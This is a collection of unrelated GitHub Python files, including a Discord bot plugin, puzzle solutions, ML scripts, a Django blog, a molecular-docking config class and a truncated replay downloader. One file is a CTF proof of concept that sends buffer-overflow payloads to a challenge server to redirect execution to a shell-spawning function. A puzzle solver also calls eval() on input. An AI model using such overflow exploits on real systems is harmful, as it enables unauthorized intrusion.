{"seq_id":"3898071727","text":"import asyncio, pprint, traceback\r\nfrom components import abstracts, pluginmanager, config\r\n\r\n\r\ndefaults = {\"Administration\": {\"Admin\": \"\"}}\r\ncfg = config.load(\"discordplm\", defaults)\r\n\r\nclass Plugin(abstracts.Plugin):\r\n    \r\n    def handlers(self):\r\n        return [abstracts.Handler('DSC:COMMAND:?PLM', self, self.command)]\r\n    \r\n    def command(self, message=None, args=None, **kw):\r\n        bot = pluginmanager.resources[\"DSC\"][\"BOT\"] \r\n        loop = pluginmanager.resources[\"DSC\"][\"LOOP\"]\r\n        if len(args)>0:\r\n            if str(message.author.id)==cfg[\"Administration\"][\"Admin\"]:\r\n                if args[0]=='unload' and len(args)>1:\r\n                    try:\r\n                        pluginmanager.unloadPlugin(args[1])\r\n                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsup:'), loop)\r\n                    except RuntimeError:\r\n                        pass\r\n                    else:\r\n                        traceback.print_exc()\r\n                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsdown:'), loop)\r\n                elif args[0]=='reload' and len(args)>1:\r\n                    try:\r\n                        pluginmanager.reloadPlugin(args[1])\r\n                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsup:'), loop)\r\n                    except:\r\n                        traceback.print_exc()\r\n            else:\r\n                asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, 'You don\\'t have permission for that.'), loop)\r\n        else:\r\n            asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, pprint.pformat(pluginmanager.plugins.keys(), indent=2, width=40)), loop)","repo_name":"Mike111177/Modbot","sub_path":"plugins/discordplm.py","file_name":"discordplm.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36038347633","text":"# AOC 2022 day 13\nwith open(\"day13/input.txt\") as f:\n    data = f.read().strip().split(\"\\n\\n\")\n\npackets = []\nfor ind, packet in enumerate(data):\n    left_right = packet.split(\"\\n\")\n    packets.append((ind, eval(left_right[0]), eval(left_right[1])))\n\ndef compare(l, r):\n    if isinstance(l, int) and isinstance(r, list):\n        l = [l]\n    if isinstance(l, list) and isinstance(r, int):\n        r = [r]\n\n    if isinstance(l, int) and isinstance(r, int):\n        if l < r:\n            return 1\n        if l == r:\n            return 0\n        return -1\n\n    if isinstance(l, list) and isinstance(r, list):\n        count = 0\n        while count < len(l) and count < len(r):\n            result = compare(l[count],r[count])\n\n            if result == 1:\n                return 1\n            if result == -1:\n                return -1\n\n            count += 1\n\n        if count == len(l):\n            if len(l) == len(r):\n                return 0\n            return 1\n\n        return -1\n\ncorrect = 0\n\nfor pack in packets:\n    l, r = pack[1], pack[2]\n    if compare(l,r) == 1:\n        correct += pack[0] + 1\n\nprint(f\"The sum of correctly ordered packets is {correct}\")","repo_name":"dwynnychuk/AOC2022","sub_path":"day13/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32872597040","text":"import cv2\nimport numpy as np\nimport glob\n\nimg_array = []\nimgs = glob.glob('./results/explore*jpg')\nimgs.sort()\nfor filename in imgs:\n    img = cv2.imread(filename)\n    height, width, layers = img.shape\n    size = (width,height)\n    img_array.append(img)\n\nfps=60\npath_img = cv2.imread('./results/final_path.jpg')\nfor i in range(fps*2):\n    img_array.append(path_img)\n\nout = cv2.VideoWriter('./A_star_diff_drive_test2.mkv',cv2.VideoWriter_fourcc(*'DIVX'), fps, size)\n \nfor i in range(len(img_array)):\n    out.write(img_array[i])\nout.release()\n","repo_name":"sparsh-b/DifferentialDrive_Astar","sub_path":"scripts/frames2vid.py","file_name":"frames2vid.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70419582502","text":"from pathlib import Path\nfrom typing import Optional\n\nfrom .const import MANIFESTS_PATH\nfrom .git import Git\n\n\ndef find_manifest(path: Path) -> Optional[Path]:\n    \"\"\"\n    Return Path to manifest if clone has been tagged before.\n\n    The git clone at ``path`` can be checked out to a tag, branch or SHA.\n    If the clone has been tagged by by :any:`GitWS` and this tag is currently checked out,\n    this function will return the path to the related manifest.\n    \"\"\"\n    if path.exists():\n        git = Git(path=path)\n        if not git.get_branch():\n            tag = git.get_tag()\n            if tag:\n                manifest_path = MANIFESTS_PATH / f\"{tag}.toml\"\n                if (path / manifest_path).exists():\n                    return manifest_path\n    return None\n","repo_name":"c0fec0de/git-ws","sub_path":"gitws/manifestfinder.py","file_name":"manifestfinder.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"28006932988","text":"#------------------------------------------\n# A kilograms to pounds conversion program\n# Hugh Baldwin\n# up2157117\n# Autumn Teaching Block 2022\n#------------------------------------------\n\nkilos = float(input(\"Enter a weight in kilograms: \"))\npounds = 2.2 * kilos\nprint(\"The weight in pounds is\", pounds)\n","repo_name":"HughTB/bsc-cs-notes","sub_path":"Programming Module/Week 1/weights.py","file_name":"weights.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21204638531","text":"# Licensed with the MIT License, see LICENSE for details\n\nimport os\nimport requests\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.table import Table\nfrom astropy.io import fits\nfrom astropy.coordinates import SkyCoord\nimport calviacat as cvc\n\nif os.path.exists('lco.fits'):\n    hdu = fits.open('lco.fits')\nelse:\n    r = requests.get('https://archive-api.lco.global/frames/6143031/').json()\n    hdu = fits.open(r['url'])\n    hdu.writeto('lco.fits')\n\nim = hdu['sci'].data\nh = hdu['sci'].header\nphot = Table(hdu['cat'].data)\n\nphot = phot[phot['FLAG'] == 0]  # clean LCO catalog\nlco = SkyCoord(phot['RA'], phot['DEC'], unit='deg')\n\n# initialize catalog\nps1 = cvc.PanSTARRS1('cat.db')\n\n# download PS1 catalog?\nif len(ps1.search(lco)[0]) < 500:\n    ps1.fetch_field(lco)\n\n# crossmatch LCO photometry table with catalog\nobjids, distances = ps1.xmatch(lco)\n\n# Calibrate this g-band image, include a color correction\ng_inst = -2.5 * np.log10(phot['FLUX'])\ng_err = phot['FLUXERR'] / phot['FLUX'] * 1.0857\n\nzp, C, unc, g, gmr, gmi = ps1.cal_color(objids, g_inst, 'g', 'g-r')\n\n# plot results\nfig = plt.figure(1)\nfig.clear()\nax = fig.gca()\nax.scatter(gmr, g - g_inst, marker='.', color='k')\nx = np.linspace(0, 1.5)\nax.plot(x, C * x + zp, 'r-')\nplt.setp(ax, xlabel='$g-r$ (mag)', ylabel=r'$g-g_{\\rm inst}$ (mag)')\nplt.tight_layout()\nplt.savefig('lco-ps1-color-corrected.png', dpi=150)\n","repo_name":"mkelley/calviacat","sub_path":"examples/lco-ps1-color-corrected.py","file_name":"lco-ps1-color-corrected.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"14422648307","text":"# App converts a camelCase string to a Python-style snake_case string.\n\ndef main():\n    camel_case = input('camelCase: ')\n    convert(camel_case)\n\ndef convert(camel_case):\n    py_case = \"\"\n    for char in camel_case:\n        if char.isupper():\n            py_case += '_' + char.lower()\n        else:\n            py_case += char\n    print(py_case)\n\n\nmain()","repo_name":"Putkaradze13/CS50-Python","sub_path":"week2/camel/camel.py","file_name":"camel.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72898532900","text":"import json\nimport bcrypt\nimport jwt\nimport requests\nimport hashlib\nimport hmac\nimport base64\nimport time\n\nfrom laneige.settings        import (\n    SECRET_KEY,\n    ACCESS_KEY,\n    NAVER_SECRET_KEY,\n    NAVER_SMS_URI,\n    NAVER_URI,\n    ALGORITHM\n)\n\nfrom django.db import transaction\nfrom django.views import View\nfrom django.http  import (\n    JsonResponse, \n    HttpResponse\n)\n\nfrom .models    import (\n    Order, \n    OrderProduct, \n    OrderStatus\n)\n\nfrom product.models  import Product,Image\nfrom account.models  import Account\nfrom account.utils   import login_required\n\nclass CartAddView(View):\n    @login_required\n    def post(self,request):\n        \n        cart_data = json.loads(request.body)\n        try :\n            product = Product.objects.get(id = cart_data['product'])\n          \n            order = Order.objects.create(\n                account = Account.objects.get(id=request.user_id.id),\n                status  = OrderStatus.objects.get(name=\"장바구니\")\n                )\n            \n            OrderProduct.objects.create(\n                product    = Product.objects.get(id=cart_data['product']),\n                quantity   = cart_data['quantity'],\n                price      = round(product.price),\n                order      = order\n                )\n                \n            return HttpResponse(status = 200)\n            \n        except KeyError:    \n            return JsonResponse({ 'message' : 'INVALID_KEYS'}, status=400)\n\nclass CartListView(View):\n    @login_required\n    def get(self, request):\n        try :\n            products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id,order__status=1)       \n            product_list = [{\n                'cart_num'          : product.id,\n                'productNum'        : product.product.id,\n                'productKoName'     : product.product.name_ko,\n                'productEnName'     : product.product.name_en,\n                'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,\n                'productVolumn'     : product.product.volume,\n                'productPrice'      : round(product.product.price),\n                'productQuantity'   : product.quantity\n            } for product in products]\n            return JsonResponse({\"product_list\" : product_list}, status = 200)\n        \n        except OrderProduct.DoesNotExist:\n            return JsonResponse({\"error_code\":\"EMPTY_CART\"}, status=401)\n        \n    @login_required\n    def put(self, request):\n        data = json.loads(request.body)   \n        cart = OrderProduct.objects.get(order__account=request.user_id.id,id=data['cart_num'])  \n        cart.quantity = data['quantity']\n        cart.save()\n\n        products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id.id,order__status=1)\n        product_list = [{\n            'cart_num'          : product.id,\n            'productNum'        : product.product.id,\n            'productKoName'     : product.product.name_ko,\n            'productEnName'     : product.product.name_en,\n            'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,\n            'productVolumn'     : product.product.volume,\n            'productPrice'      : round(product.product.price),\n            'productQuantity'   : product.quantity\n        } for product in products]\n        return JsonResponse({\"product_list\" : product_list}, status = 200)\n        \n    @login_required\n    def delete(self, request):\n        try :\n            data = json.loads(request.body)\n            cart = OrderProduct.objects.get(order__account=request.user_id,id=data['cart_num'])  \n            cart.delete()\n\n            products = OrderProduct.objects.select_related('order', 'product').filter(order__account=request.user_id,order__status=1)\n            product_list = [{\n                'cart_num'          : product.id,\n                'productNum'        : product.product.id,\n                'productKoName'     : product.product.name_ko,\n                'productEnName'     : product.product.name_en,\n                'productImg'        : Image.objects.get(is_main_img=True, product=product.product.id).image_url,\n                'productVolumn'     : product.product.volume,\n                'productPrice'      : round(product.product.price),\n                'productQuantity'   : product.quantity\n            } for product in products]\n            \n            return JsonResponse({\"product_list\" : product_list}, status = 200)\n        \n        except :\n            return JsonResponse({\"product_list\" :\"NOT_EXIST_CART_NUMBER\"}, status = 200)   \n        ","repo_name":"kljopu/9-Mayonnaise-backend","sub_path":"order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21373277439","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@file        :vinaconfig.py\n@Description:       :\n@Date     :2022/11/11 15:17:33\n@Author      :hotwa\n@version      :1.0\n'''\nfrom pathlib import Path, PurePath\nfrom dataclasses import dataclass\nfrom typing import Iterable\nfrom collections.abc import Iterable as _Iterator\n\n\nfrom vinautil.utils.typecheck import typeassert\n\n\n@typeassert(x=float, y=float, z=float)\n@dataclass\nclass xyz_point:\n    __slots__ = ['x', 'y', 'z', '__dict__']\n    x: float\n    y: float\n    z: float\n\n    def __init__(self, x, y, z):\n        self.x = float(x)\n        self.y = float(y)\n        self.z = float(z)\n\n    def __repr__(self):\n        return 'xyz point: {},{},{}'.format(self.x, self.y, self.z)\n\n    @classmethod\n    def from_iterable(cls, iterable_object: Iterable):\n        if isinstance(iterable_object, _Iterator):\n            return cls(*iterable_object)\n\n@typeassert(receptor=PurePath,\n            ligand=PurePath,\n            box_size=xyz_point,\n            center=xyz_point,\n            outpdbqtfile=PurePath,\n            exhaustiveness=int,\n            num_modes=int,\n            energy_range=int)\n@dataclass\nclass vinaconfig:\n    receptor: PurePath\n    ligand: PurePath\n    box_size: xyz_point\n    center: xyz_point\n    outpdbqtfile: PurePath\n    exhaustiveness: int\n    num_modes: int\n    energy_range: int\n\n    __slots__ = ['receptor', 'ligand', 'center',\n                 'box_size', 'outpdbqtfile', '__dict__',\n                 'exhaustiveness', 'num_modes', 'energy_range']\n\n    def __init__(self,\n                 receptor, ligand,\n                 center,\n                 box_size,\n                 outpdbqtfile,\n                 exhaustiveness = 32,\n                 num_modes = 20,\n                 energy_range = 5,\n                 ):\n        self.receptor = receptor\n        self.ligand = ligand\n        self.center = center if isinstance(center, xyz_point) else xyz_point.from_iterable(center)\n        self.box_size = box_size if isinstance(box_size, xyz_point) else xyz_point.from_iterable(box_size)\n        self.outpdbqtfile = outpdbqtfile\n        self.exhaustiveness = exhaustiveness\n        self.num_modes = num_modes\n        self.energy_range = energy_range\n\n    def to_dict(self )->dict:\n        return {'receptor': self.receptor,\n                'ligand': self.ligand,\n                'center': self.center,\n                'box_size': self.box_size,\n                'outpdbqtfile': self.outpdbqtfile,\n                'exhaustiveness': self.exhaustiveness,\n                'num_modes': self.num_modes,\n                'energy_range': self.energy_range}\n\n    def to_txt(self, file :Path,\n               cx = None,\n               cy = None,\n               cz = None,\n               sx = None,\n               sy = None,\n               sz = None,\n               exhaustiveness = None,\n               num_modes = None,\n               energy_range = None,\n               absolute_path=False) -> None:\n        \"\"\"to_txt save config to file supported autodock vina 1.1.2 and 1.2.3 binary file\n\n        use: vina --config config.txt\n\n        Arguments:\n            file {file path} -- out put file\n        \"\"\"\n        if absolute_path:\n            receptor_path = self.receptor.absolute().as_posix()\n            ligand_path = self.ligand.absolute().as_posix()\n            outpdbqtfile_path = self.outpdbqtfile.absolute().as_posix()\n        else:\n            receptor_path = self.receptor.as_posix()\n            ligand_path = self.ligand.as_posix()\n            outpdbqtfile_path = self.outpdbqtfile.as_posix()\n        exhaustiveness = exhaustiveness if exhaustiveness else self.exhaustiveness\n        num_modes = num_modes if num_modes else self.num_modes\n        energy_range = energy_range if energy_range else self.energy_range\n        cx = cx if cx else self.center.x\n        cy = cy if cy else self.center.y\n        cz = cz if cz else self.center.z\n        sx = sx if sx else self.box_size.x\n        sy = sy if sy else self.box_size.y\n        sz = sz if sz else self.box_size.z\n        content = f'''\nreceptor = {receptor_path}\nligand = {ligand_path}\n\ncenter_x = {cx}\ncenter_y = {cy}\ncenter_z = {cz}\n\nsize_x = {sx}\nsize_y = {sy}\nsize_z = {sz}\n\n\nexhaustiveness = {exhaustiveness}\n\nnum_modes = {num_modes}\n\nenergy_range = {energy_range}\n\nout = {outpdbqtfile_path}\n'''\n        file, file_dir = Path(file), Path(file).parent\n        if not file_dir.exists(): file_dir.mkdir(parents=True)\n        with open(file.absolute().as_posix(), 'w', encoding='utf-8') as f:\n            f.write(content)","repo_name":"hotwa/vinautil","sub_path":"vinautil/vinautil/vinaconfig.py","file_name":"vinaconfig.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"7100855554","text":"from glob import glob\nfrom data_preprocessing import *\nfrom mnist_model import *\nimport torchvision.utils \nimport matplotlib.pyplot as plt\nDATA_PATH_LIST = '../../datasets/MNIST/mnist_png'\n# LABEL_LIST=get_label_from_path(DATA_PATH_LIST)\n\ndef matplotlib_imshow(img, one_channel=False):\n    fig,ax = plt.subplots(figsize=(16,8))\n    ax.imshow(img.permute(1,2,0).numpy())\n    plt.show()\n\n\nif __name__ == \"__main__\": \n    learning_rate = 0.001\n    training_epochs = 15\n    batch_size = 100\n\n    device = 'cuda' if torch.cuda.is_available() else 'cpu'\n    torch.manual_seed(777)\n\n    if device == 'cuda':\n        torch.cuda.manual_seed_all(777)\n\n    model = CNN().to(device)\n\n    transform = transforms.Compose( [ transforms.ToTensor(), ] ) \n\n    # train_data = mnistDataset(path=DATA_PATH_LIST, train=True, transform=transform) \n    # train_dataloader = DataLoader(dataset=train_data, batch_size=batch_size, shuffle=True, drop_last=False) \n\n    # test_data = mnistDataset(path=DATA_PATH_LIST, train=False, transform=transform) \n    # test_dataloader = DataLoader(dataset=test_data, batch_size=batch_size, shuffle=True, drop_last=False) \n    mnist_train = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정\n                          train=True, # True를 지정하면 훈련 데이터로 다운로드\n                          transform=transforms.ToTensor(), # 텐서로 변환\n                          download=True)\n\n    mnist_test = dsets.MNIST(root='MNIST_data/', # 다운로드 경로 지정\n                         train=False, # False를 지정하면 테스트 데이터로 다운로드\n                         transform=transforms.ToTensor(), # 텐서로 변환\n                         download=True)\n    data_loader = torch.utils.data.DataLoader(dataset=mnist_train,\n                                          batch_size=batch_size,\n                                          shuffle=True,\n                                          drop_last=True)\n\n    criterion = torch.nn.CrossEntropyLoss().to(device)\n    optimizer=torch.optim.Adam(model.parameters(),lr=learning_rate)\n\n    total_batch=len(mnist_train)\n    for epoch in range(training_epochs):\n        avg_cost=0\n\n        for X,Y in data_loader:\n            X=X.to(device)\n            Y=Y.to(device)\n\n            optimizer.zero_grad()\n            hypothesis = model(X)\n            cost = criterion(hypothesis, Y)\n            cost.backward()\n            optimizer.step()\n\n            avg_cost += cost / total_batch\n\n        print('[Epoch: {:>4}] cost = {:>.9}'.format(epoch + 1, avg_cost))\n\n\n    with torch.no_grad():\n        X_test = mnist_test.test_data.view(len(mnist_test), 1, 28, 28).float().to(device)\n        Y_test = mnist_test.test_labels.to(device)\n\n        prediction = model(X_test)\n        correct_prediction = torch.argmax(prediction, 1) == Y_test\n        accuracy = correct_prediction.float().mean()\n        print('Accuracy:', accuracy.item())\n    # Visualize images\n    # images= next(iter(train_dataloader))[0][:16]\n    # img_grid = torchvision.utils.make_grid(images, nrow=8, normalize=True)\n    # matplotlib_imshow(img_grid)   ","repo_name":"donghyukjung/ml_study","sub_path":"MNIST/pytorch/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11042259695","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Post, Comment, Tag\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom .forms import PostForm, CommentForm, UploadFileForm\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.decorators import login_required\nimport csv, io, codecs\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib import messages\n\n# Create your views here.\ndef post_list(request):\n    posts = Post.objects.all()\n   \n    if request.method == 'GET':\n        query= request.GET.get('q')\n\n        submitbutton= request.GET.get('submit')\n\n        if query is not None:\n            # Query\n            # ,kmmiop,\n            results= Post.objects.filter(title__icontains=query).distinct()\n\n            context={'results': results,\n                     'submitbutton': submitbutton}\n\n            return render(request, 'blog/post_list.html', context)\n\n        else:\n            return render(request, 'blog/post_list.html', {'posts':posts})\n\n    else:\n        return render(request, 'blog/post_list.html', {'posts':posts})\n        \n\ndef post_detail(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    return render(request, 'blog/post_detail.html', {'post': post})\n\n\ndef post_new(request):\n    # Jika method nya Post maka simpan\n    if request.method == \"POST\":\n        form = PostForm(request.POST)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            # Jika berhasil tambah data maka arahkan ke detail post\n            return redirect('post_detail', pk=post.pk)\n\n    else:\n        # Jika tidak maka tampilkan form\n        form = PostForm()\n    return render(request, 'blog/post_edit.html', {'form': form})\n\n\ndef post_edit(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == \"POST\":\n        form = PostForm(request.POST, instance=post)\n        if form.is_valid():\n            post = form.save(commit=True)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            return redirect('post_detail', pk=post.pk)\n    else:\n        form = PostForm(instance=post)\n    return render(request, 'blog/post_edit.html', {'form': form})\n\n\n# Views Blog, tambah komentar\ndef add_comment_to_post(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    # Jika form bernilai post \n    if request.method == \"POST\":\n        form = CommentForm(request.POST)\n        if form.is_valid():\n            comment = form.save(commit=False)\n            comment.post = post\n            comment.save()\n            return redirect('post_detail', pk=post.pk)\n    # Jika tidak\n    else:\n        form = CommentForm()\n    return render(request, 'blog/add_comment_to_post.html', {'form': form})\n\n@login_required\ndef comment_approve(request, pk):\n    comment = get_object_or_404(Comment, pk=pk)\n    comment.approve()\n    return redirect('post_detail', pk=comment.post.pk)\n\n@login_required\ndef comment_remove(request, pk):\n    comment = get_object_or_404(Comment, pk=pk)\n    comment.delete()\n    return redirect('post_detail', pk=comment.post.pk)\n\ndef tag_post_list(request, pktitle):\n    posts = Post.objects.filter(tags__title__startswith=pktitle)\n    return render(request, 'blog/post_list.html', {'posts': posts})\n\ndef export_import_page(request):\n    if request.method == \"POST\":\n        form = UploadFileForm(request.POST, request.FILES)\n        \n        # jika form nya valid \n        if form.is_valid():\n            # tangkap request files\n            csv_file = request.FILES['file']\n            # Cek apakah yang dimaksukkan berekstensi CSV\n            if not csv_file.name.endswith('.csv'):\n                messages.error(request, 'File yang dimasukkan harus CSV.')\n                return redirect('export_import_page')\n                \n            handle_uploaded_file(request.FILES['file'])\n            messages.success(request, 'Berhasil menambahkan data csv ke database')\n            return redirect('export_import_page')\n            \n    else:\n        form = UploadFileForm()\n    return render(request, 'blog/export_import_page.html', {'form': form})\n\n\ndef handle_uploaded_file(f):\n    data_set = f.read().decode('UTF-8')\n    # setup a stream which is when we loop through each line we are able to handle a data in a stream\n    io_string = io.StringIO(data_set)\n    next(io_string)\n    for column in csv.reader(io_string, delimiter=',', quotechar=\"|\"):\n        created = Post.objects.create(\n            author_id           = column[0],\n            title               = column[1],\n            text                = column[2],\n            created_date        = column[3],\n            published_date      = column[4],\n        )   \n        # print(column)\n\ndef export_csv(request):\n    # Create the HttpResponse object with the appropriate CSV header.\n    response = HttpResponse(content_type='text/csv')\n    response['Content-Disposition'] = 'attachment; filename=\"posts.csv\"'\n\n    writer = csv.writer(response)\n    writer.writerow([\"Author\",\"Title\", \"Text\",\"Created At\", \"Published At\"])\n    posts = Post.objects.all()\n    for post in posts:\n        # tags = \"|\".join(post.tags.values_list(\"title\", flat=True))\n        # tags\n        writer.writerow([ post.author_id ,post.title, post.text, post.created_date, post.published_date])\n\n    return response\n\n\n\n   \n","repo_name":"abiamarulloh/django-blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41860920002","text":"\"\"\"\nAssume the head and the tail both start at the same position, overlapping.\ncount up all of the positions the tail visited at least once\n\"\"\"\n\n\ndef update_pos(head_pos, direction):\n    new_pos = head_pos\n    if direction == \"R\":\n        new_pos[0] += 1\n    elif direction == \"L\":\n        new_pos[0] -= 1\n    elif direction == \"U\":\n        new_pos[1] += 1\n    else:\n        new_pos[1] -= 1\n    return new_pos\n\n\ndef move_tail(head_pos, tail_pos):\n    diff_x = head_pos[0] - tail_pos[0]\n    diff_y = head_pos[1] - tail_pos[1]\n    abs_diff_x = abs(diff_x)\n    abs_diff_y = abs(diff_y)\n    if abs_diff_x <= 1 and abs_diff_y <= 1:\n        return tail_pos\n    return [tail_pos[0] + (diff_x / max([abs_diff_x, 1])), tail_pos[1] + (diff_y / max([abs_diff_y, 1]))]\n\n\ndef ans(inp, n_knots):\n    curr = [[0, 0] for _ in range(n_knots)]  # Head X Head Y, ..., Tail X Tail Y\n    visited = set()\n    for line in inp.split(\"\\n\"):\n        direction, amount = line.split(\" \")\n        amount = int(amount)\n        for _ in range(amount):\n            new_head = update_pos(curr[0], direction)\n            for i in range(1, n_knots):\n                curr[i] = move_tail(curr[i - 1], curr[i])\n            visited.add(tuple(curr[-1]))\n    return len(visited)\n\n\nif __name__ == '__main__':\n    with open(\"inputs/testinp9.txt\") as txtfile:\n        print(ans(txtfile.read(), 2))\n    with open(\"inputs/inp9.txt\") as txtfile:\n        print(ans(txtfile.read(), 2))\n    with open(\"inputs/testinp9.txt\") as txtfile:\n        print(ans(txtfile.read(), 10))\n    with open(\"inputs/inp9.txt\") as txtfile:\n        print(ans(txtfile.read(), 10))","repo_name":"nrimsky/AOC2022","sub_path":"day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11518846996","text":"#!/usr/bin/python3\nfrom pwn import *\n\ncontext(terminal=['tmux', 'new-window'])\n\nif args['REMOTE']: io = remote('battleground.ctf.scyca.org', 6000)\nelse: io = process('./vuln')\n\npad_500 = cyclic(500)\n\nexploit_1 = pad_500[:50] + b\"BBBB\"\nexploit_2 = pad_500[:50] + p32(0xCAFED00D)\nexploit_3 = pad_500[:62] + p32(0x80491c6) #win_function\n\nio.sendlineafter(b\"eh?: \", exploit_1)\nio.sendlineafter(b\"time: \", exploit_2)\nio.sendlineafter(b\"shell?: \", exploit_3)\nio.interactive()\n","repo_name":"Shift-Cyber/FBC-2022-Spring-CTF","sub_path":"challenges/tcp6000-socket-ynetd/poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"38918046517","text":"class Problem:\n    def __init__(self):\n        self.problemData = []\n        self.noOfCubes = None\n\n    def loadData(self, fileName):\n        f = open(fileName, \"r\")\n        totalCubes = f.readline()\n        self.noOfCubes = int(totalCubes)\n        for line in f:\n            c1, c2, c3, c4, c5, c6 = line.split(\" \")\n            c6 = c6.rstrip(\"\\n\")\n            self.problemData.append([c1, c2, c3, c4, c5, c6])\n        f.close()","repo_name":"MoldovanAlexandruVasile/AI","sub_path":"Lab3/Problem.py","file_name":"Problem.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42371936493","text":"#setup.py\n\nfrom setuptools import setup, Extension\nfrom Cython.Distutils import build_ext\nimport numpy\n\next_modules = []\n\n# Indexer\next_modules += [\n        Extension(\"csindexer.indexer\",\n            sources=[\"./csindexer/indexer.pyx\",\n                     \"./csindexer/indexer_c.c\",\n                     \"./csindexer/interpolation_search.c\"],\n            include_dirs=[numpy.get_include()],\n            extra_compile_args=[\"-Ofast\", \"-lm\", \"-fopenmp\"],\n            extra_link_args=[\"-fopenmp\"],\n            language='c',\n            libraries=[]\n            )\n        ]\n\n# setup\nsetup(\n  name=\"csindexer\",\n  packages=[\"csindexer\"],\n  cmdclass={'build_ext': build_ext},\n  ext_modules=ext_modules,\n  setup_requires=[\"pytest-runner\"],\n  tests_require=[\"pytest\"]\n)\n\n","repo_name":"rwolst/compressed-sparse-indexer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40324405332","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: strA\n\nProjectEuler-problem-24\n\"\"\"\n\n\"\"\"\n不需要枚举出来\n\"\"\"\nimport math\ndigits = [0,1,2,3,4,5,6,7,8,9]\nnumber = 1000000\ntotal = 3628800\nnum = 0\nfor i in reversed(range(1,11)):\n    dig = math.ceil((number/total)*len(digits)-1)\n    num = num + digits[dig]*(10**(i-1))\n    total = round(total/i)\n    number = number - dig*total\n    del digits[dig]\nprint(num)","repo_name":"wanzongqi/-R-","sub_path":"solve/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16521805920","text":"import fire\nimport datetime\nimport os\nimport random\nfrom tinydb import TinyDB, Query\nimport ballchasing_downloader as bd\nfrom ballchasing_downloader import mapper\n\nreplay_out_folder = 'data/replays/'\nreplay_conv_folder = 'data/converted/'\nballchasing_data_folder  = 'data/ballchasing_info/'\nballchasing_db_file = os.path.join(ballchasing_data_folder, \n                                   'ballchasing.db.json')\nballchasing_last_update_file = os.path.join(ballchasing_data_folder,\n                                            'ballchasing.last.txt')\n\nclass Ballchasing:\n\n    def __init__(self):\n        self._db = TinyDB(ballchasing_db_file)\n\n    def __last_upload_date(self):\n        if not os.path.isfile(ballchasing_last_update_file):\n            return None\n        else:\n            with open(ballchasing_last_update_file) as f:\n                return datetime.datetime.fromtimestamp(float(f.read()))\n\n    def __update_last_upload_date(self, new_date: datetime.datetime):\n        with open(ballchasing_last_update_file, 'w') as f:\n            f.write(str(new_date.timestamp()))\n\n    def update_db(self, max_inserts=1000):\n        insert_count = 0\n        last_date = self.__last_upload_date()\n        ret = bd.retreive_infos()\n        new_infos = [mapper.named_tuple_to_dict(mi) for mi in ret \n                     if ((last_date is None) or (mi.upload_date > last_date))]\n        self._db.insert_multiple(new_infos)\n        insert_count += len(new_infos)\n        last_id = ret[-1].id\n        new_last_date = max([mi.upload_date for mi in ret])\n\n        while (len(new_infos) > 0 and \n               (insert_count < max_inserts 